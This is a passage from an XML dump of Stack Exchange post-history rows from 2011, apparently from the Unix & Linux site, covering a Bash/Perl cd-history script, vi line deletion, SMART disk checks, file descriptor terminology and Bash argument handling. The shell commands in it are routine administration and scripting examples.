&quot;Can't write to $cdhg_file: $!\n&quot;;&#xD;&#xA;        print $cdhg $dirs[$choice - 1], &quot;\n&quot;;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Save this to a file called `cdhistpick`, make it executable, and put it somewhere in your `PATH`. You won't execute it directly. Use the `cdh` alias for that, as it passes in a necessary argument via `pick_cwd_from_history()`.&#xD;&#xA;&#xD;&#xA;How does it work? Ummmm, exercise for the reader? :)&#xD;&#xA;&#xD;&#xA;To get your first requirement, the hotkey, you can use any macro recording program you like for your OS of choice. Just have it type `cdh` and press &lt;kbd&gt;Enter&lt;/kbd&gt; for you. Or, you can run `cdh` yourself, since it's easy to type.&#xD;&#xA;&#xD;&#xA;If you want a simpler but less functional alternative that will work everywhere, get into the habit of using Bash's reverse incremental search feature, &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;R&lt;/kbd&gt;. Press that, then type &quot;cd &quot; (without the quotes, but with the trailing space) to be taken back to the previous `cd` command. Then each time you hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;R&lt;/kbd&gt;, it takes you back to the `cd` command prior to that. In this way, you can walk backwards through all the `cd` commands you've given, within the limits of Bash's history feature.&#xD;&#xA;&#xD;&#xA;Say:&#xD;&#xA;&#xD;&#xA;    $ echo $HISTFILESIZE&#xD;&#xA;&#xD;&#xA;to see how many command lines Bash history will store for you. You might need to increase this to hold 3 hours worth of command history.&#xD;&#xA;&#xD;&#xA;To search forward through your command history after having stepped backwards through it, press &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;S&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;If that doesn't work on your system, it is likely due to a conflict with &lt;a href=&quot;http://en.wikipedia.org/wiki/Software_flow_control&quot;&gt;software flow control&lt;/a&gt;. You can fix it with this command:&#xD;&#xA;&#xD;&#xA;    $ stty stop undef&#xD;&#xA;&#xD;&#xA;That prevents Ctrl-S from being interpreted as the XOFF character.&#xD;&#xA;&#xD;&#xA;The consequence of this is that you can then no longer press Ctrl-S to temporarily pause terminal output. Personally, the last time I used that on purpose was back in the days of slow modems. These days with fast scrolling and big scroll-back buffers, I only use this feature by accident, then have to spend a second remembering to press &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;Q&lt;/kbd&gt; to get the terminal un-stuck. :)" />
  <row Id="27573" PostHistoryTypeId="5" PostId="11320" RevisionGUID="77bd21d7-100f-4fc5-841f-f3d060480b27" CreationDate="2011-04-15T08:44:55.187" UserId="138" Comment="prose clarity tweak" Text="Add the following to your `~/.bashrc` file:&#xD;&#xA;&#xD;&#xA;    #### cd history mechanism ##############################################&#xD;&#xA;&#xD;&#xA;    export CDHISTFILE=~/.cdhistory&#xD;&#xA;    if [ -e &quot;$CDHISTFILE&quot; ]&#xD;&#xA;    then&#xD;&#xA;        cdht=`mktemp`&#xD;&#xA;        tail -500 &quot;$CDHISTFILE&quot; &gt; $cdht&#xD;&#xA;        mv &quot;$cdht&quot; &quot;$CDHISTFILE&quot;&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;    function keep_cd_history() {&#xD;&#xA;        if [ -z &quot;$1&quot; ] ; then d=&quot;$HOME&quot; ; else d=&quot;$1&quot; ; fi&#xD;&#xA;        cdhcan=`readlink -f &quot;$d&quot;`&#xD;&#xA;        if 'cd' &quot;$d&quot;&#xD;&#xA;        then&#xD;&#xA;            echo -e `date +%s`&quot;\t&quot;$cdhcan &gt;&gt; $CDHISTFILE&#xD;&#xA;        fi&#xD;&#xA;    }&#xD;&#xA;    function pick_cwd_from_history() {&#xD;&#xA;        f=~/.cdhistgo&#xD;&#xA;        cdhistpick &quot;$f&quot;&#xD;&#xA;        if [ -r &quot;$f&quot; ] ; then cd &quot;`head -1 $f`&quot; ; fi&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    alias cd=keep_cd_history&#xD;&#xA;    alias cdh=pick_cwd_from_history&#xD;&#xA;    &#xD;&#xA;    ########################################################################&#xD;&#xA;&#xD;&#xA;The first section truncates the cd history mechanism's custom history file if it's gotten bigger than 500 lines since the last time we looked at it. We can't use Bash's built-in history because it doesn't include timestamps, which you need in order to get the &quot;in the last 3 hours&quot; behavior.&#xD;&#xA;&#xD;&#xA;The two Bash functions do things we cannot do in the Perl code below, which otherwise does all the heavy lifting.  The only tricky bit here is the `readlink` call, which canonicalizes the paths you use. We have to do that so that `cd $HOME ; cd ; cd ~ ; cd ../$USER` results in 4 instances of the same path in the `cd` history, not four different entries.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The aliases are just convenience wrappers for the functions.&#xD;&#xA;&#xD;&#xA;Now the really tricky bit:&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/perl -w&#xD;&#xA;    use strict;&#xD;&#xA;    use List::Util qw(min);&#xD;&#xA;    &#xD;&#xA;    #### Configurables #####################################################&#xD;&#xA;    &#xD;&#xA;    # Number of seconds back in time to look for candidate directories&#xD;&#xA;    my $history_seconds_threshold = 3 * 60 * 60;&#xD;&#xA;    &#xD;&#xA;    # Ignore directories we have gone to less than this many times&#xD;&#xA;    my $access_count_threshold = 1;&#xD;&#xA;    &#xD;&#xA;    # Number of directory options to give in pick list&#xD;&#xA;    my $max_choices = 7;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    #### DO NOT OPEN. NO USER-SERVICEABLE PARTS INSIDE. ####################&#xD;&#xA;    &#xD;&#xA;    # Get file name our caller wants the cd choice to be sent to&#xD;&#xA;    die &quot;usage: $0 &lt;choice_file&gt;\n&quot; unless $#ARGV == 0;&#xD;&#xA;    my $cdhg_file = $ARGV[0];&#xD;&#xA;    unlink $cdhg_file;      # don't care if it fails&#xD;&#xA;    &#xD;&#xA;    # Build summary stats from history file to find recent most-accessed&#xD;&#xA;    my $oldest_interesting = time - $history_seconds_threshold;&#xD;&#xA;    my %stats;&#xD;&#xA;    open my $cdh, '&lt;', &quot;$ENV{HOME}/.cdhistory&quot; or die &quot;No cd history yet!\n&quot;;&#xD;&#xA;    while (&lt;$cdh&gt;) {&#xD;&#xA;        chomp;&#xD;&#xA;        my ($secs, $dir) = split /\t/;&#xD;&#xA;        next unless $secs and $secs &gt;= $oldest_interesting;&#xD;&#xA;        ++$stats{$dir};&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    # Assemble directory pick list&#xD;&#xA;    my @counts = sort values %stats;&#xD;&#xA;    $access_count_threshold = $counts[$max_choices - 1] - 1&#xD;&#xA;            if @counts &gt; $max_choices;&#xD;&#xA;    my @dirs = grep { $stats{$_} &gt; $access_count_threshold } keys %stats;&#xD;&#xA;    $max_choices = min($max_choices, scalar @dirs);&#xD;&#xA;    &#xD;&#xA;    # Show pick list, and save response to the file pick_cwd_from_history()&#xD;&#xA;    # expects.  Why a file?  The shell must call chdir(2), not us, because&#xD;&#xA;    # if we do, we change only our CWD.  Can't use stdio; already in use.&#xD;&#xA;    my $choice;&#xD;&#xA;    if ($max_choices &gt; 1) {&#xD;&#xA;        for (my $i = 0; $i &lt; $max_choices; ++$i) {&#xD;&#xA;            print $i + 1, '. ', $dirs[$i], &quot;\n&quot;;&#xD;&#xA;        }&#xD;&#xA;        print &quot;\nYour choice, O splendid one? [1-$max_choices]: &quot;;&#xD;&#xA;        $choice = &lt;STDIN&gt;;&#xD;&#xA;        chomp $choice;&#xD;&#xA;        exit 0 unless $choice =~ /^[0-9]+$/ &amp;&amp; $choice &lt;= $max_choices;&#xD;&#xA;    }&#xD;&#xA;    elsif ($max_choices == 1) {&#xD;&#xA;        print &quot;Would you like to go to $dirs[0]? [y/n]: &quot;;&#xD;&#xA;        $choice = 1 if uc(&lt;STDIN&gt;) =~ /^Y/;&#xD;&#xA;    }&#xD;&#xA;    else {&#xD;&#xA;        die &quot;Not enough cd history to give choices!\n&quot;;&#xD;&#xA;    }&#xD;&#xA;    if ($choice) {&#xD;&#xA;        open my $cdhg, '&gt;', $cdhg_file or&#xD;&#xA;                die &quot;Can't write to $cdhg_file: $!\n&quot;;&#xD;&#xA;        print $cdhg $dirs[$choice - 1], &quot;\n&quot;;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Save this to a file called `cdhistpick`, make it executable, and put it somewhere in your `PATH`. You won't execute it directly. Use the `cdh` alias for that, as it passes in a necessary argument via `pick_cwd_from_history()`.&#xD;&#xA;&#xD;&#xA;How does it work? Ummmm, exercise for the reader? :)&#xD;&#xA;&#xD;&#xA;To get your first requirement, the hotkey, you can use any macro recording program you like for your OS of choice. Just have it type `cdh` and press &lt;kbd&gt;Enter&lt;/kbd&gt; for you. Or, you can run `cdh` yourself, since it's easy to type.&#xD;&#xA;&#xD;&#xA;If you want a simpler but less functional alternative that will work everywhere, get into the habit of using Bash's reverse incremental search feature, &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;R&lt;/kbd&gt;. Press that, then type &quot;cd &quot; (without the quotes, but with the trailing space) to be taken back to the previous `cd` command. Then each time you hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;R&lt;/kbd&gt;, it takes you back to the `cd` command prior to that. In this way, you can walk backwards through all the `cd` commands you've given, within the limits of Bash's history feature.&#xD;&#xA;&#xD;&#xA;Say:&#xD;&#xA;&#xD;&#xA;    $ echo $HISTFILESIZE&#xD;&#xA;&#xD;&#xA;to see how many command lines Bash history will store for you. You might need to increase this to hold 3 hours worth of command history.&#xD;&#xA;&#xD;&#xA;To search forward through your command history after having stepped backwards through it, press &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;S&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;If that doesn't work on your system, it is likely due to a conflict with &lt;a href=&quot;http://en.wikipedia.org/wiki/Software_flow_control&quot;&gt;software flow control&lt;/a&gt;. You can fix it with this command:&#xD;&#xA;&#xD;&#xA;    $ stty stop undef&#xD;&#xA;&#xD;&#xA;That prevents Ctrl-S from being interpreted as the XOFF character.&#xD;&#xA;&#xD;&#xA;The consequence of this is that you can then no longer press Ctrl-S to temporarily pause terminal output. Personally, the last time I used that on purpose was back in the days of slow modems. These days with fast scrolling and big scroll-back buffers, I only use this feature by accident, then have to spend a second remembering to press &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;Q&lt;/kbd&gt; to get the terminal un-stuck. :)" />
  <row Id="27574" PostHistoryTypeId="25" PostId="11363" RevisionGUID="3e1e8455-9e80-46e9-bb72-5c8c5367b215" CreationDate="2011-04-15T09:09:09.777" Comment="http://twitter.com/#!/StackUnix/status/58819137266401280" />
  <row Id="27575" PostHistoryTypeId="2" PostId="11367" RevisionGUID="bafe1f65-3fcd-47a5-87ee-3b24a4269227" CreationDate="2011-04-15T09:27:09.403" UserId="5666" Text="Open `System-&gt;Administration-&gt;Disk Utility`, select your hard drive from the list on the left and then click `SMART Data` on the right. You will get a report about your disk status and errors.&#xD;&#xA;&#xD;&#xA;You may continue by clicking the `Run Self-test` button and start an `Extensive` self-test. Wait until it's finished and read the final report. Running `badblocks` or `e2fsck -c` (from your live rescue disk) on your filesystems will mark bad clusters so they won't be used by the OS. But if error counters keep rising by time, your disk needs replacement asap. You should already have a backup. &#xD;&#xA;&#xD;&#xA;Unfortunately, current inexpensive disks are as reliable as floppy disks were a decade ago. Though, being inexpensive makes raid1 (mirror) a considerable option for desktop systems too.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27576" PostHistoryTypeId="5" PostId="11367" RevisionGUID="d533bba4-d262-4196-bb1d-9cdf49f62c3a" CreationDate="2011-04-15T09:39:21.270" UserId="5666" Comment="added 183 characters in body; added 4 characters in body; added 89 characters in body" Text="Open `System-&gt;Administration-&gt;Disk Utility`, select your hard drive from the list on the left and then click `SMART Data` on the right. You will get a report about your disk status and errors.&#xD;&#xA;&#xD;&#xA;You may continue by clicking the `Run Self-test` button and start an `Extensive` self-test. Wait until it's finished and read the final report. Running `badblocks` or `e2fsck -c` (from your live rescue disk) on your filesystems will mark bad clusters so they won't be used by the OS. But if error counters keep rising by time, your disk needs replacement asap. You should already have a backup. &#xD;&#xA;&#xD;&#xA;Unfortunately, current inexpensive disks are as reliable as floppy disks were a decade ago. Though, being inexpensive makes raid1 (mirror) a considerable option for desktop systems too.&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA;I thought *Disk Utility* was installed by default in Ubuntu. The package's name is `gnome-disk-utility`, so one way to install it is `sudo apt-get install gnome-disk-utility`. Get the same functionality in command line with `smartctl` from `smartmontools` package.&#xD;&#xA;" />
  <row Id="27578" PostHistoryTypeId="2" PostId="11369" RevisionGUID="f7e24850-e21f-453d-b938-aeb2b282af5d" CreationDate="2011-04-15T10:45:53.733" UserId="6162" Text="How can I delete a line in VI editor&#xD;&#xA;&#xD;&#xA;Here what I am doing right now&#xD;&#xA;&#xD;&#xA;Open up the terminal (alt + ctrl + t)&#xD;&#xA;vi a.txt&#xD;&#xA;[ file opens in vi editor ]&#xD;&#xA;&#xD;&#xA;I move my cursor to the line which I wan to delete, then what key-combination is should use to delete line in vi editor?" />
  <row Id="27579" PostHistoryTypeId="1" PostId="11369" RevisionGUID="f7e24850-e21f-453d-b938-aeb2b282af5d" CreationDate="2011-04-15T10:45:53.733" UserId="6162" Text="delete line in vi" />
  <row Id="27580" PostHistoryTypeId="3" PostId="11369" RevisionGUID="f7e24850-e21f-453d-b938-aeb2b282af5d" CreationDate="2011-04-15T10:45:53.733" UserId="6162" Text="éubuntuàéterminalàévimàévià" />
  <row Id="27581" PostHistoryTypeId="2" PostId="11370" RevisionGUID="63cdf405-7890-4fd2-aca8-0aa15501a8cb" CreationDate="2011-04-15T10:49:23.950" UserId="252" Text="Pressing `dd` will remove that line (actually it will cut it). So you can paste it via `p`." />
  <row Id="27582" PostHistoryTypeId="2" PostId="11371" RevisionGUID="656b1350-482d-4ed7-847a-c0ab2916f8ec" CreationDate="2011-04-15T11:22:21.280" UserId="4991" Text="It's in page 69 of the [User Guide](http://www.wowzamedia.com/forums/content.php?188-documentation&amp;s=9c915483004a0b32a7db76c7709a95a6).  There's a warning in there about changing users and privileged ports (ports below 1024), too.&#xD;&#xA;&#xD;&#xA;    Linux&#xD;&#xA;    First, we are going to create a new user and group named wowza.&#xD;&#xA;    groupadd wowza&#xD;&#xA;    useradd -g wowza wowza&#xD;&#xA;    passwd wowza&#xD;&#xA;    Next, we are going to change ownership and permissions on Wowza Server installation files.&#xD;&#xA;    cd /usr/local&#xD;&#xA;    chown wowza:wowza WowzaMediaServer&#xD;&#xA;    chown –R wowza:wowza WowzaMediaServer-2.2.3&#xD;&#xA;    chmod –R 775 WowzaMediaServer-2.2.3&#xD;&#xA;    rm –f /var/run/WowzaMediaServer.pid&#xD;&#xA;    rm –f /var/run/WowzaMediaServer.lock&#xD;&#xA;    Finally, we are going to change the command that is used to start the server so that it is run as the new wowza user. Change directory to the /usr/local/WowzaMediaServer/bin directory.&#xD;&#xA;    Edit the standalone startup script startup.sh and prepend sudo –u wowza to the 24th line. It should now be:&#xD;&#xA;    sudo –u wowza $_EXECJAVA $JAVA_OPTS -Dcom.wowza.wms.AppHome=&#xD;&#xA;    &quot;$WMSAPP_HOME&quot; -Dcom.wowza.wms.ConfigHome=&#xD;&#xA;    &quot;$WMSCONFIG_HOME&quot; -cp&#xD;&#xA;    $WMSAPP_HOME/bin/wms-bootstrap.jar&#xD;&#xA;    com.wowza.wms.bootstrap.Bootstrap start&#xD;&#xA;    You will also need to edit the service startup script wms.sh and make the same change to line 24. Now both the standalone startup script and the service startup script will start the server as the&#xD;&#xA;" />
  <row Id="27583" PostHistoryTypeId="2" PostId="11372" RevisionGUID="7afd5dfc-4dc0-417a-ada4-de4e44c3037a" CreationDate="2011-04-15T11:50:45.903" UserId="1925" Text="To delete the line under the cursor, use `dd`.&#xD;&#xA;&#xD;&#xA;The delete command accepts all the normal positional modifiers, so if you are on the beginning of the line below the one you want to delete, you could just `dk` to go into delete mode and move up one line, deleting everything the cursor passed.&#xD;&#xA;&#xD;&#xA;You can also specify repetition, so `5dd` will delete the line under the cursor five times, effectively deleting the current and following four lines." />
  <row Id="27584" PostHistoryTypeId="2" PostId="11373" RevisionGUID="1198e4e1-d91b-45cb-8540-e5780d937df1" CreationDate="2011-04-15T11:52:26.733" UserId="6616" Text="My understanding is that a _file descriptor_ is an integer which is a key in the kernel's per-process mapping to objects such as `open()`ed files, pipes, sockets, etc.&#xD;&#xA;&#xD;&#xA;Is there a proper, short, and specific name for “open files/sockets/pipes/...”, the referents of file descriptors?&#xD;&#xA;&#xD;&#xA;Calling them “files” leads to confusion with unopened files stored in the file system. Simply referring to file descriptors does not adequately describe the semantics (e.g. copying *the integer* between processes is useless).&#xD;&#xA;&#xD;&#xA;Consulting [The Open Group Base Specifications](http://pubs.opengroup.org/onlinepubs/009695399/) and my own system's manpages leads me to the conclusion that the referent of a file descriptor is an _object_ and when it is specifically an open file it is, well, an _open file_. Is there a more specific term than _object_?" />
  <row Id="27585" PostHistoryTypeId="1" PostId="11373" RevisionGUID="1198e4e1-d91b-45cb-8540-e5780d937df1" CreationDate="2011-04-15T11:52:26.733" UserId="6616" Text="What is the referent of a file descriptor?" />
  <row Id="27586" PostHistoryTypeId="3" PostId="11373" RevisionGUID="1198e4e1-d91b-45cb-8540-e5780d937df1" CreationDate="2011-04-15T11:52:26.733" UserId="6616" Text="éterminologyàéopenöfilesàéfileödescriptorsà" />
  <row Id="27587" PostHistoryTypeId="25" PostId="11369" RevisionGUID="5c8fa3a1-1383-4868-8343-a111a627a50a" CreationDate="2011-04-15T12:09:09.893" Comment="http://twitter.com/#!/StackUnix/status/58864436638777344" />
  <row Id="27588" PostHistoryTypeId="2" PostId="11374" RevisionGUID="37fe9830-de52-47d3-a6a1-1cd84880e76e" CreationDate="2011-04-15T12:10:43.767" UserId="6619" Text="Make sure you are now in the &quot;Normal&quot; mode,and then press &quot;dd&quot;.&#xD;&#xA;The command &quot;ndd&quot; will delete n lines from the line which the course on." />
  <row Id="27589" PostHistoryTypeId="2" PostId="11375" RevisionGUID="e2b585a2-162d-4dad-be13-a343e5c182c9" CreationDate="2011-04-15T12:17:32.683" UserId="1078" Text="There is not really a more specific term. In traditional Unix, file descriptors reference entries in the *file table*, entries of which are referred to as *files*, or sometimes *open files*. This is in a specific context, so while obviously the term *file* is quite generic, in the context of the *file table* it specifically refers to open files.&#xD;&#xA;&#xD;&#xA;Files on disk are often referred to as *inodes*, although technically the inode is the metadata portion of the file. However since the relationship between the inode and the data blocks is one-to-one, referring to an inode implicitly refers to the data to which it points. More modern filesystems may support features such as copy-on-write where data blocks may be shared, so this is not universally true, but is for traditional Unix. However, given the term *filesystem*, it is no small leap to consider the contents of that to be *files*.&#xD;&#xA;&#xD;&#xA;This leads to the conflict in terminology: files on disk (referenced by an inode), and open files (referenced by entries in the file table).&#xD;&#xA;&#xD;&#xA;I would suggest that &quot;open file&quot; or &quot;file table entry&quot; are both adequate descriptions of what you are looking to describe.&#xD;&#xA;&#xD;&#xA;One reasonably concise reference I found is at: http://www.hicom.net/~shchuang/Unix/unix4.html. References of the form (Bach *nn*) are references to the book *The Design Of The Unix Operating System* by Maurice J. Bach." />
  <row Id="27590" PostHistoryTypeId="5" PostId="11375" RevisionGUID="0c0b5c7c-91af-4d7f-9689-952fd53b4521" CreationDate="2011-04-15T12:27:45.590" UserId="1078" Comment="added 190 characters in body" Text="There is not really a more specific term. In traditional Unix, file descriptors reference entries in the *file table*, entries of which are referred to as *files*, or sometimes *open files*. This is in a specific context, so while obviously the term *file* is quite generic, in the context of the *file table* it specifically refers to open files.&#xD;&#xA;&#xD;&#xA;Files on disk are often referred to as *inodes*, although technically the inode is the metadata portion of the file. However since the relationship between the inode and the data blocks is one-to-one, referring to an inode implicitly refers to the data to which it points. More modern filesystems may support features such as copy-on-write where data blocks may be shared, so this is not universally true, but is for traditional Unix. However, given the term *filesystem*, it is no small leap to consider the contents of that to be *files*.&#xD;&#xA;&#xD;&#xA;inodes are also read into memory as *in-core inodes* when a file on disk is opened, and maintained in the *inode table*, but that is one level of indirection further than you are asking.&#xD;&#xA;&#xD;&#xA;This leads to the conflict in terminology: files on disk (referenced by an inode), and open files (referenced by entries in the file table).&#xD;&#xA;&#xD;&#xA;I would suggest that &quot;open file&quot; or &quot;file table entry&quot; are both adequate descriptions of what you are looking to describe.&#xD;&#xA;&#xD;&#xA;One reasonably concise reference I found is at: http://www.hicom.net/~shchuang/Unix/unix4.html. References of the form (Bach *nn*) are references to the book *The Design Of The Unix Operating System* by Maurice J. Bach." />
  <row Id="27591" PostHistoryTypeId="2" PostId="11376" RevisionGUID="fe0b5579-0f19-410d-a902-1581b5032749" CreationDate="2011-04-15T12:39:08.233" UserId="872" Text="&#xD;&#xA;I have seen `--` used in the `compgen` command.&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;    compgen -W &quot;foo bar baz&quot; -- b&#xD;&#xA;&#xD;&#xA;What is the meaning of the `--`." />
  <row Id="27592" PostHistoryTypeId="1" PostId="11376" RevisionGUID="fe0b5579-0f19-410d-a902-1581b5032749" CreationDate="2011-04-15T12:39:08.233" UserId="872" Text="What does -- (double-dash) mean?" />
  <row Id="27593" PostHistoryTypeId="3" PostId="11376" RevisionGUID="fe0b5579-0f19-410d-a902-1581b5032749" CreationDate="2011-04-15T12:39:08.233" UserId="872" Text="ébashàédoubleödashà" />
  <row Id="27594" PostHistoryTypeId="2" PostId="11377" RevisionGUID="7213e51f-7430-4993-8c88-851a596204ff" CreationDate="2011-04-15T12:41:59.327" UserId="2180" Text="As others said, it's `dd` if you're in normal mode (pres ESC) to ensure you are in normal mode, but by default, you will be. You may have found that vi doesn't act as you would expect an editor to act. It's pretty unique, and those unique features make it extremely powerful and fast to work with. If you want to learn more, you can run `vimtutor` at the command line, and you'll get a quick (maybe an hour worth of reading/experimenting) tutorial on the basics of how to use it.&#xD;&#xA;&#xD;&#xA;Now, you can use an editor with a more familiar interface. Most systems have `nano`. You can type `nano a.txt` to open your file in `nano`. You can even go a step further - there isn't any reason you have to use a terminal-based editor. Since you mentioned using (ctrl+alt+t) and this is the default shortcut in Ubuntu and some other Gnome distributions, so I'd be surprised if you didn't have `gedit` installed. At the command line, try `gedit a.txt` and you'll get a graphical editor." />
  <row Id="27595" PostHistoryTypeId="2" PostId="11378" RevisionGUID="4860f281-ba88-4c5d-8ecd-46b920a87139" CreationDate="2011-04-15T12:43:48.560" UserId="1290" Text="This marks end of parameter (option) list.&#xD;&#xA;&#xD;&#xA;http://linux.about.com/library/cmd/blcmdl1_compgen.htm" />
  <row Id="27596" PostHistoryTypeId="2" PostId="11379" RevisionGUID="0dea7bd6-ac66-432c-b3ae-5ba712d59f08" CreationDate="2011-04-15T12:45:06.767" UserId="3645" Text="Is it possible to refer to indexes in $@? I can't find any reference to use like the following anywhere in [GrayCat's wiki][1], and the [Advanced Scripting Guide][2] and [others][3] assign this to a different variable before modifying that instead.&#xD;&#xA;&#xD;&#xA;    $ echo ${@[0]}&#xD;&#xA;    -bash: ${@[0]}: bad substitution&#xD;&#xA;&#xD;&#xA;  [1]: http://mywiki.wooledge.org/EnglishFrontPage&#xD;&#xA;  [2]: http://tldp.org/LDP/abs/html/internalvariables.html#ARGLIST&#xD;&#xA;  [3]: http://www.notesbit.com/index.php/scripts-unix/bash-script-passing-arguments-to-the-shell-script-unixlinux/" />
  <row Id="27597" PostHistoryTypeId="1" PostId="11379" RevisionGUID="0dea7bd6-ac66-432c-b3ae-5ba712d59f08" CreationDate="2011-04-15T12:45:06.767" UserId="3645" Text="Indexing and modifying Bash parameter array $@" />
  <row Id="27598" PostHistoryTypeId="3" PostId="11379" RevisionGUID="0dea7bd6-ac66-432c-b3ae-5ba712d59f08" CreationDate="2011-04-15T12:45:06.767" UserId="3645" Text="ébashàéparameterà" />
  <row Id="27599" PostHistoryTypeId="5" PostId="11369" RevisionGUID="2fdaa672-38a6-45c6-b57f-ced91c63687d" CreationDate="2011-04-15T12:51:45.397" UserId="1925" Comment="Formatted for clarity." Text="How can I delete a line in VI?&#xD;&#xA;&#xD;&#xA;Here what I am doing right now:&#xD;&#xA;&#xD;&#xA; 1. Open up the terminal &lt;kbd&gt;alt&lt;/kbd&gt; + &lt;kbd&gt;ctrl&lt;/kbd&gt; + &lt;kbd&gt;t&lt;/kbd&gt;&#xD;&#xA; 1. `vi a.txt`&#xD;&#xA; 1. I move my cursor to the line which I wan to delete, then **what key-combination is should use to delete line in vi editor**?" />
  <row Id="27600" PostHistoryTypeId="24" PostId="11369" RevisionGUID="2fdaa672-38a6-45c6-b57f-ced91c63687d" CreationDate="2011-04-15T12:51:45.397" Comment="Proposed by 1925 approved by 29 edit id of 270" />
  <row Id="27601" PostHistoryTypeId="2" PostId="11380" RevisionGUID="0cb8807a-52c1-474e-954a-6aae2cd3b49c" CreationDate="2011-04-15T13:09:59.873" UserId="3645" Text="Is there a more Bashist way than `echo &quot;$PWD//&quot; | sed -e 's#//\+#/#g'` to replace repeating slashes with a single one?" />
  <row Id="27602" PostHistoryTypeId="1" PostId="11380" RevisionGUID="0cb8807a-52c1-474e-954a-6aae2cd3b49c" CreationDate="2011-04-15T13:09:59.873" UserId="3645" Text="Collapse repeating characters" />
  <row Id="27603" PostHistoryTypeId="3" PostId="11380" RevisionGUID="0cb8807a-52c1-474e-954a-6aae2cd3b49c" CreationDate="2011-04-15T13:09:59.873" UserId="3645" Text="ébashàéreplaceà" />
  <row Id="27604" PostHistoryTypeId="2" PostId="11381" RevisionGUID="a641e6c8-f87e-41cc-8a97-8d6447515cf0" CreationDate="2011-04-15T13:12:14.303" UserId="2343" Text="I don't quite know why you don't just use $1 $2, etc.. &#xD;&#xA;but..  This may suit your needs.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ script &quot;ed    it&quot; &quot;cat/dog&quot;  33.2  \D  &#xD;&#xA;&#xD;&#xA;      set  &quot;$@&quot;&#xD;&#xA;      echo &quot;$1&quot;&#xD;&#xA;      echo &quot;$2&quot;&#xD;&#xA;      echo &quot;$3&quot;&#xD;&#xA;      echo &quot;$4&quot;&#xD;&#xA;      exit&#xD;&#xA;&#xD;&#xA;output &#xD;&#xA;&#xD;&#xA;    ed    it&#xD;&#xA;    cat/dog&#xD;&#xA;    33.2&#xD;&#xA;    D&#xD;&#xA;&#xD;&#xA;`set` works of anything  which follows it, to create $1, $2.. etc.. &#xD;&#xA;This will of course override the original values, so just be aware of that.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27605" PostHistoryTypeId="2" PostId="11382" RevisionGUID="abafc6e9-a0a1-468a-a660-2effbb85199c" CreationDate="2011-04-15T13:13:08.203" UserId="4323" Text="More precisely, a double dash (`--`) is used in bash built-in commands and many other commands to signify the end of command options, after which only positional parameters are accepted.&#xD;&#xA;&#xD;&#xA;Example use: lets say you want to grep a file for the string &quot;-v&quot; - normally &quot;-v&quot; will be considered the option to reverse the matching meaning (only show lines that do not match), but with `--` you can grep for &quot;-v&quot; like this:&#xD;&#xA;&#xD;&#xA;    grep -- -v file" />
  <row Id="27606" PostHistoryTypeId="5" PostId="11379" RevisionGUID="21493157-1811-4d0b-be07-26c7dab61aa1" CreationDate="2011-04-15T13:20:32.880" UserId="3645" Comment="Clarification" Text="Is it possible to refer to indexes in $@? I can't find any reference to use like the following anywhere in [GrayCat's wiki][1], and the [Advanced Scripting Guide][2] and [others][3] assign this to a different variable before modifying that instead.&#xD;&#xA;&#xD;&#xA;    $ echo ${@[0]}&#xD;&#xA;    -bash: ${@[0]}: bad substitution&#xD;&#xA;&#xD;&#xA;The goal is [DRY][4]: The first argument is used for one thing, and the rest for something else, and I'd like to avoid duplicating either the code to normalize, the `$@` array, or to create a separate function for this (although at this point it's probably the easiest way out).&#xD;&#xA;&#xD;&#xA;  [1]: http://mywiki.wooledge.org/EnglishFrontPage&#xD;&#xA;  [2]: http://tldp.org/LDP/abs/html/internalvariables.html#ARGLIST&#xD;&#xA;  [3]: http://www.notesbit.com/index.php/scripts-unix/bash-script-passing-arguments-to-the-shell-script-unixlinux/&#xD;&#xA;  [4]: https://secure.wikimedia.org/wikipedia/en/wiki/Don%27t_repeat_yourself" />
  <row Id="27608" PostHistoryTypeId="5" PostId="11381" RevisionGUID="42de6b53-7f47-4d72-8947-8d1d82c54e4a" CreationDate="2011-04-15T13:22:58.650" UserId="2343" Comment="added 162 characters in body; added 6 characters in body" Text="I don't quite know why you don't just use $1 $2, etc.. &#xD;&#xA;but..  This may suit your needs.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ script &quot;ed    it&quot; &quot;cat/dog&quot;  33.2  \D  &#xD;&#xA;&#xD;&#xA;      for ((i=1;i&lt;=${#@};i++)) ;do&#xD;&#xA;        eval echo &quot;\&quot;\${$i}\&quot;&quot; &#xD;&#xA;      done&#xD;&#xA;      echo &quot;-------- OR&quot;&#xD;&#xA;      set  &quot;$@&quot;&#xD;&#xA;      echo &quot;$1&quot;&#xD;&#xA;      echo &quot;$2&quot;&#xD;&#xA;      echo &quot;$3&quot;&#xD;&#xA;      echo &quot;$4&quot;&#xD;&#xA;      exit&#xD;&#xA;&#xD;&#xA;output &#xD;&#xA;&#xD;&#xA;    ed    it&#xD;&#xA;    cat/dog&#xD;&#xA;    33.2&#xD;&#xA;    D&#xD;&#xA;    -------- OR&#xD;&#xA;    ed    it&#xD;&#xA;    cat/dog&#xD;&#xA;    33.2&#xD;&#xA;    D&#xD;&#xA;&#xD;&#xA;`set` works of anything  which follows it, to create $1, $2.. etc.. &#xD;&#xA;This will of course override 